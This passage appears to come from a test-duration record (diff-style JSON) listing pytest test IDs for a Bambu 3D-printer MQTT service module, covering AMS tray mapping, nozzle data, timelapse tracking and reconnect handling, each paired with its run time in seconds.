"unit/services/test_bambu_mqtt.py::TestLastLoadedTrayValidation::test_ams_ht_tray_stored": 0.0011911401525139809, + "unit/services/test_bambu_mqtt.py::TestLastLoadedTrayValidation::test_regular_ams_tray_stored": 0.0011981362476944923, + "unit/services/test_bambu_mqtt.py::TestLastLoadedTrayValidation::test_unloaded_not_stored": 0.0011714166030287743, + "unit/services/test_bambu_mqtt.py::TestMqttCommandVerificationFailed::test_clearing_the_hms_re_arms_the_probe": 0.00114421546459198, + "unit/services/test_bambu_mqtt.py::TestMqttCommandVerificationFailed::test_empty_hms_leaves_a_probe_verdict_alone": 0.0010223444551229477, + "unit/services/test_bambu_mqtt.py::TestMqttCommandVerificationFailed::test_hms_forces_developer_mode_false": 0.0011014044284820557, + "unit/services/test_bambu_mqtt.py::TestMqttCommandVerificationFailed::test_hms_is_surfaced_with_its_full_code": 0.0010760659351944923, + "unit/services/test_bambu_mqtt.py::TestMqttCommandVerificationFailed::test_inconclusive_probe_does_not_overwrite_the_hms_verdict": 0.001119028776884079, + "unit/services/test_bambu_mqtt.py::TestMqttCommandVerificationFailed::test_unrelated_hms_does_not_touch_developer_mode": 0.0010220259428024292, + "unit/services/test_bambu_mqtt.py::TestNoLastLayerFinishPhotoTrigger::test_finish_state_still_fires_after_the_last_layer_started": 0.0011246893554925919, + "unit/services/test_bambu_mqtt.py::TestNoLastLayerFinishPhotoTrigger::test_no_photo_trigger_fires_repeatedly_across_the_last_layer": 0.001007157377898693, + "unit/services/test_bambu_mqtt.py::TestNoLastLayerFinishPhotoTrigger::test_reaching_the_last_layer_fires_nothing": 0.0009547490626573563, + "unit/services/test_bambu_mqtt.py::TestNoLastLayerFinishPhotoTrigger::test_stage_22_still_fires_after_the_last_layer_started": 0.0010735820978879929, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_empty_nozzle_info_does_not_populate_rack": 0.0010285386815667152, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_h2c_nozzle_rack_populated_with_8_entries": 0.0010685622692108154, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_h2d_nozzle_rack_populated_with_2_entries": 0.0010389070957899094, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_nozzle_info_updates_nozzle_state": 0.00104594137519598, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_nozzle_rack_field_mapping": 0.0010375753045082092, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_nozzle_rack_sorted_by_id": 0.0010318057611584663, + "unit/services/test_bambu_mqtt.py::TestNozzleRackData::test_single_nozzle_h2s_populated": 0.0010384973138570786, + "unit/services/test_bambu_mqtt.py::TestParseExtruderSlots::test_a_payload_without_the_block_keeps_the_last_answer": 0.0009948667138814926, + "unit/services/test_bambu_mqtt.py::TestParseExtruderSlots::test_holds_answers_for_one_slot_only": 0.0016203774139285088, + "unit/services/test_bambu_mqtt.py::TestParseExtruderSlots::test_snow_decodes_to_ams_and_slot": 0.0010270057246088982, + "unit/services/test_bambu_mqtt.py::TestParseExtruderSlots::test_the_empty_sentinel_is_not_read_as_a_slot": 0.0010127564892172813, + "unit/services/test_bambu_mqtt.py::TestPrePrintFailureCompletion::test_idle_to_failed_does_not_trigger_completion": 0.0010014474391937256, + "unit/services/test_bambu_mqtt.py::TestPrePrintFailureCompletion::test_initial_failed_does_not_trigger_completion": 0.001024230383336544, + "unit/services/test_bambu_mqtt.py::TestPrePrintFailureCompletion::test_prepare_to_failed_includes_hms_errors_in_callback": 0.0010371636599302292, + "unit/services/test_bambu_mqtt.py::TestPrePrintFailureCompletion::test_prepare_to_failed_triggers_completion": 0.0010372241958975792, + "unit/services/test_bambu_mqtt.py::TestPrePrintFailureCompletion::test_slicing_to_failed_triggers_completion": 0.0010156342759728432, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_already_unknown_state_is_not_saved": 0.0010008066892623901, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_fresh_gcode_state_wins_over_restored_state": 0.001112084835767746, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_mark_power_off_blanks_state_and_remembers_it": 0.0009723324328660965, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_mark_power_off_noop_when_already_disconnected": 0.0009639160707592964, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_message_interleaved_with_mark_does_not_strand_unknown": 0.0011572185903787613, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_partial_report_restores_state": 0.0014003347605466843, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_reconnect_discards_saved_state": 0.001215158961713314, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_request_topic_traffic_does_not_restore": 0.0010754168033599854, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_restore_broadcasts_state_change": 0.00115877203643322, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_restore_happens_only_once": 0.00113619863986969, + "unit/services/test_bambu_mqtt.py::TestPresumedPowerOffRecovery::test_second_mark_does_not_overwrite_saved_state": 0.0009823516011238098, + "unit/services/test_bambu_mqtt.py::TestPrintCompletionWithTimelapse::test_print_complete_includes_timelapse_flag": 0.0009199352934956551, + "unit/services/test_bambu_mqtt.py::TestPrintCompletionWithTimelapse::test_print_complete_timelapse_flag_false_when_no_timelapse": 0.0009275376796722412, + "unit/services/test_bambu_mqtt.py::TestPrintCompletionWithTimelapse::test_timelapse_flag_reset_after_completion": 0.000916588120162487, + "unit/services/test_bambu_mqtt.py::TestPrintProgressCallback::test_absent_callback_is_not_an_error": 0.0009788237512111664, + "unit/services/test_bambu_mqtt.py::TestPrintProgressCallback::test_does_not_fire_when_no_print_is_running": 0.0009696073830127716, + "unit/services/test_bambu_mqtt.py::TestPrintProgressCallback::test_does_not_fire_when_progress_goes_backwards": 0.0010090107098221779, + "unit/services/test_bambu_mqtt.py::TestPrintProgressCallback::test_does_not_fire_when_progress_is_unchanged": 0.0016262074932456017, + "unit/services/test_bambu_mqtt.py::TestPrintProgressCallback::test_fires_on_each_advance": 0.0009832317009568214, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_does_not_fire_when_not_running": 0.0009449934586882591, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_does_not_fire_when_print_start_fires": 0.0010433457791805267, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_does_not_fire_without_current_file": 0.0009536370635032654, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_fires_on_first_running_push_after_startup": 0.0011296384036540985, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_fires_only_once_per_session": 0.001036113128066063, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_payload_shape_matches_print_start": 0.0010538045316934586, + "unit/services/test_bambu_mqtt.py::TestPrintRunningObservedCallback::test_safe_when_callback_not_set": 0.0009426465258002281, + "unit/services/test_bambu_mqtt.py::TestRealisticMessageFlow::test_print_complete_includes_timelapse_flag_full_flow": 0.001170252449810505, + "unit/services/test_bambu_mqtt.py::TestRealisticMessageFlow::test_print_failed_includes_timelapse_flag": 0.0018239887431263924, + "unit/services/test_bambu_mqtt.py::TestRealisticMessageFlow::test_timelapse_detected_at_print_start_in_same_message": 0.0009577954187989235, + "unit/services/test_bambu_mqtt.py::TestRealisticMessageFlow::test_timelapse_detected_when_enabled_after_print_start": 0.0009420560672879219, + "unit/services/test_bambu_mqtt.py::TestRealisticMessageFlow::test_timelapse_not_detected_when_disabled": 0.0009336993098258972, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_captured_ams_mapping_initializes_to_none": 0.0009688865393400192, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_captured_mapping_cleared_after_print_complete": 0.0010769180953502655, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_captured_mapping_overwrites_previous": 0.0010633021593093872, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_first_running_push_after_bambuddy_restart_does_not_fire_print_start": 0.0009804461151361465, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_full_flow_capture_and_deliver": 0.0011293869465589523, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_handle_request_message_captures_ams_mapping": 0.0010529952123761177, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_handle_request_message_ignores_missing_ams_mapping": 0.0010487260296940804, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_handle_request_message_ignores_missing_print": 0.0009586978703737259, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_handle_request_message_ignores_non_dict_print": 0.0009666401892900467, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_handle_request_message_ignores_non_print_commands": 0.0009819399565458298, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_print_complete_callback_includes_ams_mapping": 0.0010575931519269943, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_print_start_callback_ams_mapping_none_when_not_captured": 0.0010589556768536568, + "unit/services/test_bambu_mqtt.py::TestRequestTopicAmsMapping::test_print_start_callback_includes_ams_mapping": 0.0010533947497606277, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_cache_does_not_affect_different_serial": 0.0009580748155713081, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_cache_persists_across_instances": 0.0011176466941833496, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_cache_updated_on_suback_rejection": 0.0010290686041116714, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_cache_updated_on_suback_success": 0.0010335585102438927, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_disconnect_after_confirmation_does_not_disable": 0.0010490966960787773, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_disconnect_after_subscription_disables_topic": 0.0011432729661464691, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_late_disconnect_does_not_disable": 0.0010375035926699638, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_on_connect_skips_request_topic_when_unsupported": 0.001000434160232544, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_on_subscribe_confirms_success": 0.0010742833837866783, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_on_subscribe_detects_rejection": 0.0010671215131878853, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_on_subscribe_ignores_other_mids": 0.000998801551759243, + "unit/services/test_bambu_mqtt.py::TestRequestTopicFailSafe::test_request_topic_supported_by_default": 0.0009883921593427658, + "unit/services/test_bambu_mqtt.py::TestRequestTopicIsCaptured::test_a_command_on_the_request_topic_is_logged": 0.0010223165154457092, + "unit/services/test_bambu_mqtt.py::TestRequestTopicIsCaptured::test_nothing_is_logged_while_logging_is_off": 0.0010846620425581932, + "unit/services/test_bambu_mqtt.py::TestRequestTopicIsCaptured::test_request_topic_messages_are_still_parsed": 0.0010933782905340195, + "unit/services/test_bambu_mqtt.py::TestRequestTopicIsCaptured::test_the_payload_is_kept_whole": 0.0010006073862314224, + "unit/services/test_bambu_mqtt.py::TestRequestTopicIsCaptured::test_the_report_topic_is_still_logged_as_incoming": 0.0010058246552944183, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_ambiguous_returns_none": 0.0009299423545598984, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_ams_ht_slot0_match": 0.0009359735995531082, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_empty_mapping_returns_none": 0.0009117275476455688, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_no_match_returns_none": 0.0009242948144674301, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_none_mapping_returns_none": 0.000929633155465126, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_single_match_ams0": 0.0009253937751054764, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_single_match_ams1": 0.0009191744029521942, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_single_match_ams2": 0.0009242724627256393, + "unit/services/test_bambu_mqtt.py::TestResolveLocalSlotFromMapping::test_unmapped_entries_skipped": 0.0009098248556256294, + "unit/services/test_bambu_mqtt.py::TestSdCardParsing::test_home_flag_alone_does_not_touch_sdcard": 0.0008910978212952614, + "unit/services/test_bambu_mqtt.py::TestSdCardParsing::test_sdcard_bool_fallback_when_no_home_flag": 0.0009281802922487259, + "unit/services/test_bambu_mqtt.py::TestSdCardParsing::test_sdcard_int_fallback_when_no_home_flag": 0.0010924283415079117, + "unit/services/test_bambu_mqtt.py::TestSdCardParsing::test_sdcard_string_fallback_when_no_home_flag": 0.0009661009535193443, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_all_required_fields_present": 0.0013410728424787521, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_publishes_with_qos_1": 0.0013334397226572037, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_rotate_tray_false_by_default": 0.0013789236545562744, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_rotate_tray_false_on_stop": 0.0013527758419513702, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_rotate_tray_true_when_enabled": 0.001567167229950428, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_start_caches_target_for_badge": 0.001360277645289898, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_start_overwrites_prior_target_for_same_ams": 0.001600099727511406, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_stop_clears_target": 0.0013989824801683426, + "unit/services/test_bambu_mqtt.py::TestSendDryingCommand::test_targets_isolated_per_ams_id": 0.0014713173732161522, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_logs_serial_hint_when_no_reports": 0.0012195650488138199, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_no_serial_hint_right_after_reconnect": 0.0010372931137681007, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_no_serial_hint_when_reports_received": 0.00104563869535923, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_noop_when_not_connected": 0.0009002862498164177, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_noop_when_not_stale": 0.0009048562496900558, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_serial_hint_when_session_old_enough": 0.0010700467973947525, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_check_staleness_sets_flag_and_broadcasts_once": 0.0010197516530752182, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_error_disconnect_not_suppressed_despite_recent_messages": 0.000988994725048542, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_full_stale_reconnect_cycle_no_bounce": 0.0010381760075688362, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_on_connect_clears_stale_reconnecting_flag": 0.000916769728064537, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_on_disconnect_fires_event_during_stale_reconnect": 0.0009733755141496658, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_on_disconnect_skipped_during_stale_reconnect": 0.0009457729756832123, + "unit/services/test_bambu_mqtt.py::TestStaleReconnect::test_spurious_disconnect_suppressed_when_recent_messages": 0.000885368324816227, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_all_unresolved_keeps_use_ams_true": 0.0013993438333272934, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_ams_ht_trays_preserved_in_flat_mapping": 0.0013916995376348495, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_bed_leveling_auto_sends_int_two": 0.0017105350270867348, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_bed_leveling_on_sends_int_one": 0.0014355704188346863, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_empty_ams_mapping_keeps_use_ams_true": 0.0014174673706293106, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_external_main_nozzle_becomes_minus_one_in_flat": 0.004579223692417145, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_external_spool_only_sets_use_ams_false": 0.0014317622408270836, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_flow_cali_auto_sends_int_two": 0.0012858184054493904, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2d_both_external_keeps_use_ams_true": 0.001603805460035801, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2d_external_preserves_deputy_id": 0.0016004787757992744, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2d_external_spool_mixed_with_ams": 0.0014011664316058159, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2d_single_external_deputy": 0.001402539201080799, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2s_no_ams_forces_use_ams_false": 0.0014423727989196777, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2s_single_external_spool_uses_main_id": 0.0018718279898166656, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_h2s_uses_boolean_format_for_calibration_fields": 0.0013441508635878563, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_mixed_ams_and_external_keeps_use_ams_true": 0.0013920282945036888, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_no_ams_mapping_omits_fields": 0.0013852249830961227, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_non_h2d_both_external_maps_to_main_id": 0.0014331666752696037, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_nozzle_offset_cali_auto_on_dual_nozzle": 0.0012609241530299187, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_nozzle_offset_cali_default_auto_gated_on_single_nozzle": 0.001273307017982006, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_nozzle_offset_cali_honored_on_dual_nozzle": 0.0014694426208734512, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_nozzle_offset_cali_ignored_on_single_nozzle": 0.0012470362707972527, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_nozzle_offset_cali_off_on_dual_nozzle": 0.00124417245388031, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_p2s_uses_boolean_format": 0.002439741976559162, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_regular_ams_trays_preserved_in_flat_mapping": 0.0013917777687311172, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_single_nozzle_external_spool_uses_main_id": 0.001454765908420086, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_unmapped_slots": 0.001424410380423069, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_x2d_external_preserves_deputy_id": 0.001398792490363121, + "unit/services/test_bambu_mqtt.py::TestStartPrintAmsMapping::test_x2d_uses_boolean_format_for_calibration_fields": 0.0028736554086208344, + "unit/services/test_bambu_mqtt.py::TestStartPrintNozzleMappingDispatch::test_dual_nozzle_includes_nozzle_mapping": 0.0012686988338828087, + "unit/services/test_bambu_mqtt.py::TestStartPrintNozzleMappingDispatch::test_dual_nozzle_no_field_no_injection": 0.002909744158387184, + "unit/services/test_bambu_mqtt.py::TestStartPrintNozzleMappingDispatch::test_empty_string_field_is_treated_as_absent": 0.001263689249753952, + "unit/services/test_bambu_mqtt.py::TestStartPrintNozzleMappingDispatch::test_malformed_nozzle_mapping_is_logged_and_omitted": 0.0014254720881581306, + "unit/services/test_bambu_mqtt.py::TestStartPrintNozzleMappingDispatch::test_single_nozzle_omits_nozzle_mapping_even_if_set": 0.0012651914730668068, + "unit/services/test_bambu_mqtt.py::TestStartPrintRecordsDispatchedPlate::test_dispatched_plate_default_is_one": 0.0014934400096535683, + "unit/services/test_bambu_mqtt.py::TestStartPrintRecordsDispatchedPlate::test_dispatched_plate_not_recorded_when_publish_skipped": 0.0011209314689040184, + "unit/services/test_bambu_mqtt.py::TestStartPrintRecordsDispatchedPlate::test_dispatched_plate_overwritten_by_subsequent_dispatch": 0.001337156631052494, + "unit/services/test_bambu_mqtt.py::TestStartPrintRecordsDispatchedPlate::test_dispatched_plate_recorded_after_start_print": 0.0012895260006189346, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_identity_fields_are_all_equal_per_submission": 0.0012561455368995667, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_identity_fields_are_non_zero": 0.0012448020279407501, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_identity_fields_change_between_submissions": 0.004220129922032356, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_last_dispatch_subtask_id_records_the_minted_id": 0.0015162602066993713, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_last_dispatch_subtask_id_updates_per_submission": 0.003679417073726654, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_md5_stays_empty": 0.0015926957130432129, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_submission_id_fits_signed_int32": 0.0018553882837295532, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_submission_id_is_numeric_string": 0.001621060073375702, + "unit/services/test_bambu_mqtt.py::TestStartPrintUniqueIdentityFields::test_unrelated_payload_fields_untouched": 0.0013935910537838936, + "unit/services/test_bambu_mqtt.py::TestTimelapseTracking::test_timelapse_flag_from_print_data": 0.0009196223691105843, + "unit/services/test_bambu_mqtt.py::TestTimelapseTracking::test_timelapse_flag_initializes_to_false": 0.0013750363141298294, + "unit/services/test_bambu_mqtt.py::TestTimelapseTracking::test_timelapse_flag_not_set_when_not_running": 0.0009198645129799843, + "unit/services/test_bambu_mqtt.py::TestTimelapseTracking::test_timelapse_flag_persists_after_timelapse_stops": 0.0009276187047362328, + "unit/services/test_bambu_mqtt.py::TestTimelapseTracking::test_timelapse_flag_set_when_timelapse_active_during_running": 0.000942576676607132, + "unit/services/test_bambu_mqtt.py::TestTotalLayersPreservation::test_nonzero_total_layer_num_sets_state": 0.0009502405300736427, + "unit/services/test_bambu_mqtt.py::TestTotalLayersPreservation::test_print_start_explicitly_resets_total_layers": 0.0009556710720062256, + "unit/services/test_bambu_mqtt.py::TestTotalLayersPreservation::test_zero_total_layer_num_does_not_clobber_cached_value": 0.0009511718526482582, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_multiple_tray_changes": 0.0010050246492028236, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_same_tray_not_logged_twice": 0.0010050144046545029, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_log_cleared_on_new_print": 0.0010465318337082863, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_log_defaults_empty": 0.001005806028842926, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_log_seeded_on_print_start": 0.0010136114433407784, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_not_recorded_after_completion": 0.0010079490020871162, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_not_recorded_when_idle": 0.0009964574128389359, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_recorded_during_intermediate_state": 0.0010054251179099083, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_recorded_during_pause": 0.0010009966790676117, + "unit/services/test_bambu_mqtt.py::TestTrayChangeLog::test_tray_change_recorded_during_running": 0.0009897463023662567, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DActiveExtruder::test_active_extruder_right_by_default": 0.0011690715327858925, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DActiveExtruder::test_extruder_state_bit8_switches_back_to_right": 0.0011865943670272827, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DActiveExtruder::test_extruder_state_bit8_switches_to_left": 0.001176365651190281, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DActiveExtruder::test_extruder_switch_changes_tray_disambiguation": 0.0012268498539924622, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_multiple_ams_keeps_current_ams_ht": 0.0011799409985542297, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_multiple_ams_keeps_current_if_valid": 0.001169523224234581, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_multiple_ams_slot_nonzero_excludes_ams_ht": 0.001172587275505066, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_multiple_ams_slot_nonzero_narrows_to_single_ht_excluded": 0.0012229029089212418, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_no_ams_on_extruder_uses_raw_slot": 0.0012066811323165894, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_single_ams_ht_ignores_nonzero_slot": 0.0011587319895625114, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_single_ams_ht_on_extruder_returns_unit_id": 0.001188318245112896, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFallback::test_single_ams_on_extruder_computes_global_id": 0.0011837678030133247, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFullSequence::test_h2d_left_nozzle_ams_ht_lifecycle": 0.0011999262496829033, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFullSequence::test_h2d_multi_color_alternating_nozzles": 0.0012438595294952393, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DFullSequence::test_h2d_right_nozzle_ams0_lifecycle": 0.0011831484735012054, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DPendingTarget::test_pending_target_matches_slot": 0.0012136446312069893, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DPendingTarget::test_pending_target_slot_mismatch": 0.0012245457619428635, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DPendingTarget::test_pending_target_takes_priority_over_snow": 0.0011837976053357124, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSetup::test_ams_extruder_map_parsed_from_info_field": 0.0010106638073921204, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSetup::test_ams_extruder_map_partial_update_preserves_entries": 0.0010242098942399025, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSetup::test_ams_extruder_map_real_h2d_values": 0.0010087797418236732, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSetup::test_ams_extruder_map_skips_uninitialized": 0.0009967973455786705, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSetup::test_dual_nozzle_detected_from_extruder_info": 0.0010932069271802902, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSetup::test_dual_nozzle_detection_before_ams_in_same_message": 0.001152469776570797, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSnow::test_snow_disambiguates_ams0_slot": 0.001186133362352848, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSnow::test_snow_disambiguates_ams_ht_to_128": 0.001197274774312973, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSnow::test_snow_initial_sentinel_not_stored": 0.001900811679661274, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSnow::test_snow_unloaded_value": 0.0011618584394454956, + "unit/services/test_bambu_mqtt.py::TestTrayNowDualNozzleH2DSnow::test_snow_updates_h2d_extruder_snow_state": 0.0011685099452733994, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_all_external_mapping_promotes_tray_now_to_254": 0.00097707100212574, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_ams_only_mapping_does_not_override": 0.0009689480066299438, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_empty_captured_mapping_does_not_override": 0.0009480565786361694, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_mixed_mapping_does_not_override": 0.0009677242487668991, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_multi_external_mapping_also_promotes": 0.0009724944829940796, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_no_captured_mapping_does_not_override": 0.0009737135842442513, + "unit/services/test_bambu_mqtt.py::TestTrayNowH2SExternalSpoolOverride::test_unloaded_after_print_still_resolves_correctly": 0.0009623337537050247, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_ambiguous_mapping_falls_back_to_local_slot": 0.0009737061336636543, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_ams0_slot_unchanged_when_mapping_confirms_ams0": 0.0009814891964197159, + "unit/services/test_bambu_mqtt.py::TestTrayNowP2SMultiAmsDisambiguation::test_empty_mapping_falls_back_to_local_slot": 